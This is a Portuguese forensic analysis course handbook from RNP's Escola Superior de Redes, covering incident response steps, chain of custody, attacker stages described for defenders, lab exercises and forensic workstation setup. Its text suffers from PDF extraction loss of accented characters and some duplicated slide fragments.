Vous êtes sur la page 1sur 187

Segurana

Anlise forense

Anlise forense

Escola Superior de Redes RNP

Copyright 2009, Escola Superior de Redes RNP

Autor Guilherme Venere Revisor Pierre Lavelle Superviso tcnica Jacomo Piccolini Coordenao acadmica Derlina Miranda Reviso final Pedro Sangirardi Design Tecnodesign Coordenao geral Luiz Coelho Verso 2.0.2 Todos os direitos reservados, no Brasil, por Escola Superior de Redes RNP http://www.esr.rnp.br

Anlise forense Apresentao


A Escola Superior de Redes da Rede Nacional de Ensino e Pesquisa (RNP) oferece cursos em tecnologia da informao e da comunicao para quem busca formao essencialmente prtica. As atividades so situaes-problema semelhantes s que so encontradas na prtica do profissional de TI. Estas atividades exigem anlise, sntese e construo de hipteses para a superao do problema. A aprendizagem torna-se mais efetiva se contextualizada realidade profissional. Os cursos propostos possuem 40 (quarenta) horas de durao divididas em 10 (dez) sesses de aprendizagem. Os participantes trabalham em grupo ou em duplas e cada um pode dispor de sua prpria estao de trabalho. O material de ensino composto de apostilas contendo slides comentados e roteiro de atividades prticas em laboratrio.

Conhecimentos prvios
\\Principais

ataques, mecanismos e ferramentas de segurana (como firewall, IDS, VPN) e autenticao ou o curso Segurana de redes e sistemas.

Objetivos
\\Obter

uma viso geral e conceitos de anlise forense

\\Apresentar

os principais procedimentos que devem ser seguidos pelo investigador as particularidades do processo de anlise forense em Linux e Windows e as informaes que devem ser coletadas em cada situao enfrentada a coletar evidncias em uma imagem de disco de um sistema comprometido evidncias que possam fornecer pistas dos invasores

\\Compreender

\\Aprender

\\Recuperar

Escola Superior de Redes RNP

Ao final do curso o aluno ter aprendido a


\\Criar

um CD de ferramentas forenses que poder ser utilizado durante uma investigao uma cronologia, descrevendo o que aconteceu e quando ocorreu cada evento do comprometimento investigado a coleta de informaes relacionadas aos programas executados, s bibliotecas do sistema e portas relacionadas o tipo de auditoria a ser realizada

\\Elaborar

\\Conhecer

\\Identificar

Sumrio
Sesso de aprendizagem 1 Princpios de anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 Sesso de aprendizagem 2 Ambiente e ferramentas de anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 Sesso de aprendizagem 3 Ambiente e ferramentas de anlise forense (parte 2). . . . . . . . . . . . . . . . . . . . . 43 Sesso de aprendizagem 4 Coleta de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 Sesso de aprendizagem 5 Recuperao e anlise de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 Sesso de aprendizagem 6 Recuperao e anlise de evidncias (parte 2) . . . . . . . . . . . . . . . . . . . . . . . . . 99 Sesso de aprendizagem 7 Linha de tempo e reconstruo do ataque . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 Sesso de aprendizagem 8 Anlise forense em Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 Sesso de aprendizagem 9 Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135 Sesso de aprendizagem 10 Anlise forense avanada em Windows (parte 2) . . . . . . . . . . . . . . . . . . . . . . . 155 Bibliografia . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181

Escola Superior de Redes RNP

1
Sesso de aprendizagem 1 Princpios de anlise forense
Sumrio da sesso
Princpios de anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Motivaes para investigar um incidente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Modo de ao dos atacantes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Deteco de ataques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Tipos de sistemas comprometidos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Procedimentos para anlise forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Cadeia de custdia de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Metodologia para anlise forense. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Atividade 1 Preparando um checklist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Atividade 2 Funcionamento de um rootkit . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 Atividade 3 Investigando um computador. . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

Escola Superior de Redes RNP

Princpios de anlise forense p


Resposta a incidentes de segurana R t i id t d Preparao Identificao Conteno Erradicao R Recuperao Acompanhamento

Princpios de anlise forense


A resposta a um incidente de segurana est dividida em seis passos:
\\Preparao

A empresa define os ativos que deseja proteger, e as medidas cabveis em caso de incidente. So utilizados mecanismos e tcnicas para identificar a ocorrncia de um incidente, e definir a extenso do ataque. Deve-se conter o ataque, impedindo que o invasor consiga acesso a outros sistemas e minimizando a atividade do atacante.

\\Identificao

\\Conteno

\\Erradicao

As aes do atacante devem ser erradicadas, com a aplicao de filtros e impedimento de qualquer atividade do invasor na rede. Os sistemas invadidos devem ser recuperados e reinstalados.

\\Recuperao

\\Acompanhamento

As tcnicas e vulnerabilidades utilizadas pelo atacante devem ser estudadas, e medidas devem ser aplicadas para impedir que elas funcionem. Incidentes de segurana podem ser causados por qualquer tipo de ataque realizado infra-estrutura de informao de uma empresa, seja ele um ataque lgico ou um ataque fsico. Os tipos mais comuns so ataques lgicos como invases de servidores e ataques de negao de servios, comprometimento ou perda de dados e infeco por vrus. necessrio criar procedimentos que descrevam aes a tomar no caso da ocorrncia de um incidente de segurana, inclusive no caso de incidentes inesperados. Deve-se gerar documentos que descrevam os procedimentos de resposta a incidentes, os responsveis pelas aes, a ao legal que a empresa est disposta a executar e principalmente um checklist de ao para o profissional que vai responder ao incidente. O analista forense deve se preocupar em tentar recuperar as evidncias da forma mais confivel possvel, evitando contaminar ou destruir evidncias. Registrando e documentando tudo o que foi feito, o analista no precisar confiar na memria mais tarde, no momento de reconstruir os passos que foram executados durante a coleta de dados ou apresentar resultados aos superiores.

Princpios de anlise forense p


A empresa d deve d fi i o que um i id t d definir incidente de segurana de acordo com os ativos que deseja proteger. t Incidentes de segurana so eventos que interrompem o procedimento normal de operao de uma empresa e causam algum tipo de crise. Podem ser ataques infra-estrutura de informao de uma empresa. p A preveno dos incidentes crucial.

Princpios de anlise forense p


Anlise forense o segundo passo no processo de resposta a incidentes. Existe uma sobreposio com o primeiro e com o terceiro passo: o analista forense deve participar do processo de preparao pr-incidente, e tambm do processo de conteno ps-incidente. Recuperar e analisar dados da maneira mais imparcial e livre de distores possvel, para reconstruir os dados ou o que aconteceu a um sistema no passado.

Anlise forense Sesso de aprendizagem 1

Por este mesmo motivo bom sempre realizar anlises dos dados em cpias, mantendo os originais seguros contra modificaes e permitindo que seus passos sejam repetidos posteriormente.

Princpios de anlise forense p


Minimizar d de dados Mi i i perda d d d Evitar contaminao dos dados Registrar e documentar todas as aes Analisar, impreterivelmente, dados em cpias Reportar as informaes coletadas Pi i l t t i l Principalmente: manter-se i imparcial
um erro capital teorizar antes de obter todas as evidncias.

Durante o processo de anlise forense, comum aparecerem informaes indicando comprometimento de outros sistemas da empresa ou mesmo de outras empresas. importante que o analista forense reporte frequentemente o andamento das investigaes e os fatos relevantes descobertos, para que a empresa possa tomar as medidas necessrias. preciso que se mantenha total imparcialidade durante a investigao. Antes de apontar o culpado, tenha certeza de que ele no inocente.

Sherlock Holmes

Motivaes p investigar um incidente para g


Razes R para no i investigar um i id t ti incidente: Custo Demora Falta de objetividade Disponibilizao de recursos importantes P d d t Processo que demanda tempo e recursos, nem sempre til para a empresa. mais fcil reinstalar um computador do que realizar uma investigao.

Motivaes para investigar um incidente


\\Identificar

sinais de ataque Em muitas situaes, quando uma mquina est comprometida, ela comea a perder desempenho, pois est sendo utilizada pelo hacker ou vrus para fins diferentes daqueles aos quais se destina. Um dos passos de uma anlise forense tentar identificar sinais de comprometimento. Isto pode ajudar a empresa a descobrir se outros servidores que apresentam o mesmo comportamento esto comprometidos ou no. a extenso do comprometimento Como foi dito, durante o processo de anlise forense comum aparecerem informaes sobre o comprometimento de outros sistemas dentro ou fora da empresa. Descobrir as mquinas que foram comprometidas importante para manter a integridade da informao a ser protegida. a ordem dos eventos Com isso possvel descobrir o que o invasor fez durante o perodo em que teve acesso ao sistema da empresa. A correlao de eventos pode ajudar a empresa a determinar o que foi comprometido, e principalmente quando ocorreu o comprometimento. muito comum descobrir, por exemplo, que a empresa j estava invadida h meses, e que s por algum descuido do invasor que tudo foi descoberto.

\\Determinar

Motivaes p investigar um incidente para g


Ento, E t por que i investigar? ti ? Identificar sinais de ataque Determinar a extenso do comprometimento Reconstruir a ordem dos eventos Entender o modus operandi do atacante R d Responder: O qu? Quando? Onde? Como?

\\Reconstruir

Princpios de anlise forense

Escola Superior de Redes RNP


\\Entender

10

o modus operandi do atacante Este item faz da anlise forense uma poderosa ferramenta de proteo contra ataques. Sabendo como o atacante agiu da primeira vez, a empresa vai poder tomar aes bem fundamentadas para se proteger contra novos ataques.

Modo de ao dos atacantes


Informao a sua maior arma. I f i Conhecendo o modo de operao dos invasores, voc pode melhorar suas defesas; facilita o trabalho de investigao, porque voc j sabe o que procurar. Tcnicas de engenharia social so difceis de combater: somente um treinamento adequado pode q p diminuir esse risco. A maior parte dos ataques segue um mesmo padro.

Modo de ao dos atacantes


claro que nem todos os hackers agem do mesmo modo, mas pode-se dizer que uma grande parte deles segue um padro de ao comum. Conhecer esse padro j um bom comeo para analisar um sistema que provavelmente foi comprometido. Normalmente, os ataques se iniciam algum tempo antes da invaso propriamente dita: o invasor precisa conhecer sua rede, saber como vai conseguir comprometer seu sistema. Portanto, as atividades de reconhecimento podem ser o primeiro indcio de que algo est para acontecer.

Um tipo de teste difcil de detectar um reconhecimento que utiliza tcnicas de engenharia social. Um simples telefonema pode ser mais eficiente para entregar os pontos fracos de sua rede do que uma ferramenta poderosa. Neste caso, a proteo fica mais difcil, e s um treinamento adequado poder proteger a empresa.

Modo de ao dos atacantes


Identificao do l Id tifi d alvo Coleta de informaes Identificao de vulnerabilidades Comprometimento do sistema Controle do sistema I t l d f t Instalao de ferramentas Remoo de rastros Manuteno do sistema comprometido

Depois de coletar informaes sobre o sistema que vai invadir, o hacker parte para a invaso. Nesta hora, j se torna mais difcil detectar as atividades do invasor. Muitas vezes so utilizadas ferramentas que simulam uma conexo vlida, ou ento tcnicas para esconder o ataque, como criptografia ou tneis de protocolos. Mecanismos de deteco de intruso so muito teis. Posteriormente, estes mesmos mecanismos podero ser atualizados com as informaes coletadas aps um ataque. Analisando a tcnica utilizada pelo invasor, a empresa poder criar mecanismos mais eficientes para se defender.

Aps comprometer o sistema, o invasor normalmente tenta tomar o controle do sistema. O invasor precisa ento tentar adquirir privilgios de administrador. Ferramentas que monitorem a integridade do sistema podem auxiliar a detectar uma invaso antes que ela se torne mais sria. Programas como Tripwire permitem monitorar a integridade dos arquivos de uma mquina.

Anlise forense Sesso de aprendizagem 1

11

Aps conseguir o acesso privilegiado ao sistema, o invasor tenta apagar os rastros de sua existncia, para impedir que ele seja detectado enquanto estiver realizando suas aes maldosas. Neste momento, comum o invasor instalar um rootkit, um pacote de ferramentas que modifica o sistema para esconder qualquer trao da existncia do hacker na mquina. Ao instalar uma ferramenta como esta, o hacker praticamente passa a controlar a mquina. Pode-se utilizar uma ferramenta de deteco de rootkits, tal como o Chkrootkit, para tentar detectar a presena dessas ferramentas. Outra alternativa monitorar a rede para descobrir se a mquina est comprometida. Hoje em dia, sistemas comprometidos tm um alto valor de troca no submundo da internet. Ferramentas de negao de servio podem ser instaladas em diversos sistemas comprometidos, e o poder somado desses sistemas pode ser trocado no submundo por informao ou mesmo por dinheiro. Como podemos ver, a invaso de sistemas no s uma diverso para alguns invasores, podendo ser um negcio bem rentvel. Uma caracterstica do comportamento de invasores a manuteno do sistema comprometido. muito comum ver mquinas comprometidas atualizadas pelo hacker, corrigindo as falhas de segurana que permitiram a sua entrada. Para garantir que podero voltar no futuro, os invasores costumam instalar back-doors, servios clandestinos que permitem ao invasor se conectar mais tarde com as permisses privilegiadas que conseguiu.

Deteco de ataques q
Padro P d para d t t mais f il detectar i facilmente um ataque : t t Monitoramento da rede Deteco de assinaturas de ataques e modificaes no sistema Utilizao de ferramentas de auditoria Principalmente conhecimento de seus sistemas e de Principalmente, sua rede

Deteco de ataques

Tipos de sistemas comprometidos p p


Sistema d li d Si t desligado: Sem atividade no disco rgido Evidncias volteis perdidas Sem atividade do invasor Sem necessidade de conteno do ataque P i l t l id i foram modificadas difi d Possivelmente algumas evidncias f

Tipos de sistemas comprometidos


Neste caso, a coleta de evidncias fica mais fcil: as informaes volteis presentes na memria do computador ou na tela foram perdidas. O sistema agora contm apenas os arquivos que foram gravados no disco rgido, evidncias que devero ser coletadas.

Princpios de anlise forense

Escola Superior de Redes RNP

12

Tipos de sistemas comprometidos p p


Sistema li d Si t ligado: Atividade no disco rgido Atividade de rede Evidncias volteis Possibilidade de atividade do invasor N id d de t t Necessidade d conter o ataque Modificao das evidncias

A ao do analista forense tem que ser muito cuidadosa, para no despertar a ateno do invasor, no comprometer evidncias, mas tambm para impedir que mais dano seja causado. Por outro lado, em um sistema ligado, o analista forense tem a possibilidade de coletar informaes que no estariam disponveis em um sistema desligado. Por exemplo, possvel coletar informaes de rede, permitindo identificar com mais segurana se o sistema est comprometido ou no, e tambm identificar outras mquinas na rede da empresa que tambm possam estar comprometidas. Tudo o que for feito poder alterar as evidncias, inclusive no fazer nada. Portanto, as aes do analista forense tm que ser bem pensadas, e muito importante que todas as aes sejam documentadas. A primeira coisa a fazer tentar identificar, da forma menos intrusiva possvel, se o sistema suspeito est ou no comprometido. Algumas tcnicas, como realizar um scan por portas abertas no sistema, ou procurar por arquivos suspeitos no espao de disco, devem ser evitadas a todo custo. Estas aes podem disparar alarmes que alertariam o invasor de que ele foi descoberto, alm de comprometer evidncias.

Tipos de sistemas comprometidos p p


Sistema li d Si t ligado: Verificar se o sistema est comprometido No comprometer as evidncias Conter o ataque Coletar evidncias P ff h td ? Power-off ou shutdown?
Power-off: no modifica evidncias, mas pode corromper os dados Shutdown: garante integridade dos dados, mas pode modificar evidncias

Dependendo da criticidade do sistema, muitas vezes no ser possvel simplesmente desligar a mquina da energia. Um servidor de banco de dados teria informaes corrompidas se fosse desligado da tomada. Ou ento, ao tentar executar uma parada do sistema, mecanismos de proteo instalados pelo invasor poderiam apagar todo o disco, provocando o desaparecimento de evidncias e dados importantes.

Procedimentos para anlise forense p


A reao precisa ser rpida, por isso esteja preparado rpida Tenha em mos um checklist de aes e todas as ferramentas necessrias Esterilize as mdias antes de coletar evidncias Colete i i C l t primeiro as evidncias mais volteis id i i lt i Crie e utilize uma dirt list: uma lista de palavras, termos e d i di ti t nomes que podem indicar um comprometimento Esta lista deve ser utilizada em todo o processo de investigao at ali ada in estigao e atualizada constantemente Crie um registro para cada evidncia e faa um relatrio da sua investigao

Procedimentos para anlise forense


A primeira fase de uma investigao forense a preparao, como foi dito anteriormente: saber o que pode e o que no pode ser desligado, elaborar um checklist de aes que devem ser tomadas, e principalmente preparar as ferramentas necessrias. importante tambm esterilizar as mdias onde sero gravadas as evidncias, para evitar a contaminao com dados previamente gravados nas mesmas.

Anlise forense Sesso de aprendizagem 1

13

Esterilizar as mdias significa eliminar quaisquer dados que possam existir nos discos e dispositivos utilizados para gravar suas evidncias. Normalmente, basta executar um procedimento de gravao de zeros (byte 00) em todos estes dispositivos, sobrescrevendo qualquer dado que exista ali, antes de gravar qualquer evidncia. Evidncias volteis so aquelas que se perdem mais facilmente, caso o sistema seja desligado ou aes executadas pelo hacker ou pelo analista sobrescrevam informaes. Exemplos: dados na memria RAM, processos em execuo, conexes estabelecidas, entre outros. Uma maneira de ajudar o analista forense a procurar evidncias utilizando uma dirt list, ou lista maliciosa, que deve conter palavras, termos, nomes de ferramentas e pessoas que tenham ligao com ataques, grupos de hackers, atividades criminosas, entre outros. Com isso, o analista poder realizar pesquisas nas evidncias procurando pela presena dessas palavras-chave. Esta lista deve ser atualizada constantemente para incluir palavras e nomes encontrados durante a investigao.

Procedimentos para anlise forense p


Ordem d O d de coleta de evidncias: l t d id i
Informaes sobre o ambiente (ambiente operacional, fotos da l d t l do f t d sala e da tela d computador) t d ) Cpia binria da memria RAM Informaes sobre processos em execuo, conexes de rede, registros, cache etc. Informaes sobre o trfego de rede Cpias dos discos rgidos p g Possveis mdias removveis (fitas, disquetes, CD-ROM) Material impresso (adesivos folhas impressas) (adesivos,

Toda informao coletada durante a avaliao inicial e durante a investigao deve ser documentada e autenticada. Esta autenticao pode ser feita utilizando algum algoritmo de hash de dados, tal como MD5, SHA1, SHA256 ou outro algoritmo de hash equivalente. Tenha sempre em mos um checklist que indique o que fazer e quando. O checklist deve ser o mais minucioso possvel, no deixando dvidas sobre as aes a serem tomadas. Se possvel, ele deve incluir os comandos e argumentos que precisam ser usados em cada etapa. Na coleta de evidncias, devemos seguir a ordem de volatilidade das informaes: informaes volteis so aquelas que se perdem com mais facilidade. H poucos anos, utilizava-se o algoritmo MD5 como padro, mas devido a pesquisas recentes sobre ataques contra a segurana desse algoritmo e do prprio SHA1, a comunidade internacional comeou a desenvolver novos algoritmos para substitu-los.

Procedimentos para anlise forense p


Criar i t C i registro para cada evidncia d id i Criar assinatura das evidncias:
MD5 SHA1 SHA256

Evitar comprometer evidncias Criar relatrio detalhado da investigao:


Comandos executados Pessoas entrevistadas Evidncias l t d E id i coletadas

Teoricamente, estes algoritmos tm um baixo ndice de coliso, isto , dificilmente geram uma mesma chave criptogrfica a partir de dados diferentes. Entretanto, pesquisas detectaram uma possibilidade de gerar colises com taxas de probabilidade bem menores do que deveriam ocorrer naturalmente com estes algoritmos. Por isso, recomenda-se a utilizao de algoritmos melhores e mais atuais.

Princpios de anlise forense

Escola Superior de Redes RNP

14

Cadeia de custdia de evidncias


Registro detalhado do d R i t d t lh d d modo como as evidncias id i foram tratadas durante a anlise forense, desde a coleta at os resultados fi i l t t lt d finais. Este registro deve conter informaes sobre quem teve acesso s evidncias ou s cpias utilizadas. Durante um processo judicial, este registro vai p j g garantir que as provas no foram comprometidas. Cada evidncia coletada deve ter um registro de custdia associada a ela.

Cadeia de custdia de evidncias


Este registro visa garantir que as evidncias no foram modificadas ou comprometidas, acidentalmente ou propositalmente, durante o processo de anlise forense. Isto importante principalmente se o caso vai ser tratado judicialmente. Em juzo, ser necessrio comprovar que as evidncias so vlidas legalmente, e um registro mal feito pode colocar a perder um caso inteiro. Um cuidado especial deve ser dado s evidncias digitais, pois elas so mais facilmente modificadas ou destrudas.

Cadeia de custdia de evidncias


Um registro de custdia deve conter pelo menos os seguintes itens:
Data e hora de coleta da evidncia De quem a evidncia foi apreendida Informaes sobre o hardware como fabricante, modelo, hardware, fabricante modelo nmeros de srie etc. Nome da pessoa que coletou a evidncia Descrio detalhada da evidncia Nome e assinatura das pessoas envolvidas Identificao do caso e da evidncia (tags) Assinaturas MD5/SHA1 das evidncias se possvel evidncias, Informaes tcnicas pertinentes

Metodologia p anlise forense g para


Procedimentos do analista forense so invariveis Utilidade de metodologia bem definida Os passos de uma investigao so cclicos: p j Cada passo alimenta o conjunto de evidncias e fornece novas bases para o investigador procurar por mais evidncias na prxima fase. p p Os passos devem ser repetidos at que: Chegue-se Chegue se a uma concluso No existam mais informaes teis a encontrar

Metodologia para anlise forense


Independentemente do sistema invadido ou do mtodo utilizado na invaso, os procedimentos seguidos pelo analista forense no variam. Uma metodologia bem definida facilita o trabalho do investigador e ajuda a mant-lo focado.

Os passos que devem ser seguidos em uma investigao so cclicos: cada passo alimenta o conjunto de evidncias e fornece novas bases para o investigador procurar por mais evidncias na prxima fase. Os passos devem ser repetidos at que se consiga chegar a uma concluso, ou at decidir que no h mais informaes teis a serem encontradas. O primeiro passo da investigao das evidncias tentar estabelecer uma linha de tempo para o ataque e para as evidncias encontradas durante a fase inicial de anlise. Com a linha de tempo, o investigador pode ter uma base para procurar por novas evidncias, arquivos e dados que possam ter relao com o caso.

Anlise forense Sesso de aprendizagem 1

15

O passo seguinte analisar esses arquivos e dados para identificar sua relao com o caso, funcionalidades e informaes importantes que possam conter. A seguir, o investigador deve realizar uma anlise no nvel de dados do sistema operacional, procurando por strings e bytes que possam ser importantes para a investigao. Deve-se voltar linha de tempo do incidente, pra inserir os novos dados coletados e associar essas informaes com o caso. Com essas novas informaes, o investigador ter uma nova base para procurar por mais evidncias, e assim o processo se repete at que o caso seja solucionado ou se decida que o esforo e o custo da investigao j no valem mais a pena. Finalmente, quando j tiver sido realizada uma anlise o mais completa possvel, deve-se gerar um relatrio com os resultados encontrados e tcnicas utilizadas, e uma concluso para o caso alcanada, com base nas evidncias coletadas durante a investigao.

Concluses
O sucesso da investigao depende de uma preparao prvia Informao a melhor arma contra os invasores Tenha em mos: Todas as informaes sobre o sistema comprometido Todas as ferramentas necessrias No comprometa as evidncias A cadeia de custdia de evidncias garante uma representao fiel dos dados originais Adote uma metodologia e seja imparcial e preciso em suas aes

Concluses
A seguir prepararemos o ambiente de anlise forense e conheceremos as ferramentas necessrias para a investigao.

Princpios de anlise forense

Escola Superior de Redes RNP

16

Anlise forense Sesso de aprendizagem 1

1
Sesso de aprendizagem 1 Princpios de anlise forense Roteiro de atividades
Tpicos e conceitos
\\Preparao

para uma investigao e identificao de formas de ataque.

Competncias tcnicas desenvolvidas


\\Elaborao

de um checklist, atualizao em relao s formas de ataque do comprometimento de computadores.

rootkit;
\\Investigao

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

18

Atividade 1 Preparando um checklist


1. Este exerccio deve ser feito em dupla. Suponha que em sua empresa existe um servidor web considerado crtico, que hospeda todo o sistema de gerenciamento de projetos da empresa e no pode ficar parado. Um backup dirio dos dados realizado constantemente. Deve-se supor que os integrantes da dupla fazem parte da comisso que est definindo os procedimentos a adotar quando ocorrer um incidente de segurana envolvendo a mquina do servidor. Pensando em todas as implicaes destas aes, defina o que deve ser feito no caso de: 1. Ataque de negao de servio; 2. Comprometimento da mquina por ao hacker. Discuta com seu parceiro os procedimentos e monte um checklist das aes que devem ser tomadas. Procure ser o mais objetivo possvel, de modo que uma pessoa que siga o checklist no precise tomar nenhuma deciso. Pense que em um momento de crise, a pessoa referida no pode perder tempo tomando decises.

Atividade 2 Funcionamento de um rootkit


Junto com um colega, pesquise na internet informaes sobre rootkits que os invasores usam para tomar controle de um servidor, tanto em servidores Unix quanto Windows. Procure informaes sobre um rootkit da sua escolha para saber suas funcionalidades, e os modos para detectar a presena dele em uma mquina. Elabore um documento sobre este rootkit, descrevendo o modus operandi do mesmo, funcionalidades, dificuldade de deteco e, se possvel, formas de detect-lo e remov-lo do sistema. O instrutor vai escolher alguns alunos para apresentar este documento aos demais.

Atividade 3 Investigando um computador


(Para fazer em dupla) Voc deve verificar se a mquina de seu companheiro est comprometida. Lembre-se dos passos necessrios para garantir a integridade das evidncias. Usando as ferramentas do sistema, voc deve descobrir todos os servios TCP ativos na mquina. Para este exerccio, vamos considerar como comprometido o servio Bootp (porta 68) no Linux, ou o servio Netbios (porta 445) no Windows. Se o servio estiver sendo executado, a mquina est comprometida. Faa um relatrio de todas as aes tomadas durante a investigao, bem como um registro de custdia de qualquer evidncia coletada. Como sugesto, utilize o roteiro criado na Atividade 1; ele facilita a investigao? Quais foram os problemas encontrados ao seguir o roteiro? Sugira modificaes ao roteiro.

Anlise forense Sesso de aprendizagem 1

2
Sesso de aprendizagem 2 Ambiente e ferramentas de anlise forense
Sumrio da sesso
Pr-requisitos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Sistema operacional . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 Live CD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 Hardware forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Pacote forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 Programas especficos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 Preparao da investigao. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 Preparao do ambiente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 Coletando informaes dos processos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 Preservao do disco . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Outras formas de preservao do disco . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 Atividade 1 Kit do investigador . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Atividade 2 Coleta de informaes volteis . . . . . . . . . . . . . . . . . . . . . . . . . . 42

Escola Superior de Redes RNP

20

Pr-requisitos
A primeira ao do investigador coletar evidncias no local onde ocorreu a invaso. Aps isso, entra em cena a anlise de mdias. O investigador precisar analisar dezenas de gigabytes de dados, e por isso deve contar com um ambiente propcio, com ferramentas que facilitem seu trabalho.

Pr-requisitos
Durante o atendimento inicial ao incidente, o investigador vai precisar da recuperao de arquivos em memria, coleta de cpias fiis dos discos rgidos e dispositivos de armazenagem presentes na mquina investigada, cpia da memria RAM, coleta de informaes de conexes de rede, entre outros. Em alguns incidentes, onde ocorre o envolvimento de autoridades policiais, necessrio manter sob guarda o disco original da mquina envolvida no incidente. No Brasil, somente um perito autorizado pode coletar, de forma legal, evidncias na cena de um incidente. A empresa ou responsvel pela mquina deve garantir apenas armazenamento e custdia seguros do equipamento. A utilizao de hashes MD5/SHA1 garante que as evidncias coletadas durante uma investigao possam ser comparadas posteriormente, caso seja necessrio refazer os passos da anlise forense. Duas evidncias coletadas com a mesma tcnica e que tenham os mesmos hashes so garantidamente iguais.

Pr-requisitos
O objetivo da anlise de mdias coletar evidncias que comprovem ou refutem a invaso. As evidncias originais devem ser preservadas, por isso a anlise deve ser feita em cpias das mdias. O analista deve evitar comprometer as evidncias, e garantir que todos os resultados possam ser reproduzidos, o que envolve a criao e manipulao de dezenas de gigabytes de dados. Alm disso, o sistema invadido no confivel, portanto o investigador precisa dispor de um ambiente confivel e controlado para realizar a investigao.

Em um sistema invadido, o hacker pode ter modificado arquivos, kernel, bibliotecas compartilhadas, mdulos carregados. Portanto, nenhum arquivo existente na mquina confivel. Se existir um rootkit e o investigador utilizar os comandos do sistema para listar processos ou arquivos, no ver as informaes escondidas pelo rootkit. O investigador deve sempre utilizar suas prprias ferramentas e bibliotecas.

Hardware
Quanto mais memria RAM e mais processamento houver, melhor. O espao livre em disco deve ser generoso, algumas vezes podendo analisar centenas de gigabytes. O sistema deve ter baias para conectar os discos de evidncias. Um notebook imprescindvel quando no for possvel remover o disco de evidncia. Alm disso, o investigador deve dispor de equipamentos de rede diversos.

Hardware
O sistema deve ter baias para conectar os discos de evidncias. De preferncia, as baias devem ser configuradas para jamais iniciarem o sistema a partir dos discos contidos nelas.

Um notebook imprescindvel quando no for possvel remover o disco de evidncia. Este notebook deve conter as mesmas ferramentas da estao forense. Alm disso, o investigador deve dispor de equipamentos de rede diversos: hubs, cabos crossover e normais, placas de rede normais e wireless, disco rgido externo (USB e paralelo), bem como um equipamento para realizar cpias de disco automaticamente.

Anlise forense Sesso de aprendizagem 2

21

Sistema operacional
Entre os pontos que devem ser levados em considerao na hora de escolher o sistema operacional, podemos citar os seguintes: Familiaridade do investigador com o sistema operacional Disponibilidade de ferramentas Capacidade do sistema operacional de reconhecer diversos tipos de mdias ou sistemas de arquivos diferentes Mecanismos de segurana disponveis no sistema operacional

Sistema operacional
Deve-se levar em conta que s vezes vai ser necessrio investigar um sistema sem dispositivos padro, como os presentes em um computador comum. Por exemplo, como investigar incidentes envolvendo um PDA, ou uma estao RISC/Solaris? Os dispositivos de disco so diferentes, e o sistema operacional da estao forense precisa reconhecer esses equipamentos. Alguns softwares para Windows, como o EnCase, tm um suporte melhor para imagens de parties variadas. Entretanto, um suporte nativo no sistema operacional pode ser muito til e poupar tempo do investigador. Alm disso, o sistema operacional precisa ser seguro o suficiente para no ser comprometido com alguma ferramenta investigada. Imagine se o investigador est analisando um arquivo desconhecido e sua estao forense comprometida por este arquivo? Alm disso, existem outras vantagens no uso do Linux, como o sistema da estao forense e das ferramentas. O sistema permite a criao de CDs inicializveis que rodam em praticamente qualquer configurao de hardware sem a necessidade de instalao de drivers; rodam com pouca memria e contam com diversos mecanismos de segurana embutidos no prprio sistema. Existem diversas opes para resolver o problema de anlise de binrios de outros sistemas operacionais. No caso do Windows, em alguns casos possvel executar o binrio com emuladores por software como o Wine, ou utilizar o prprio VMWare com um sistema Windows rodando na mquina virtual. Alm disso, dependendo do tipo de anlise que vai ser feita, existem debuggers para Linux que tm suporte a diversos formatos de binrios e processadores, como por exemplo o IDA-Pro.

Sistema operacional
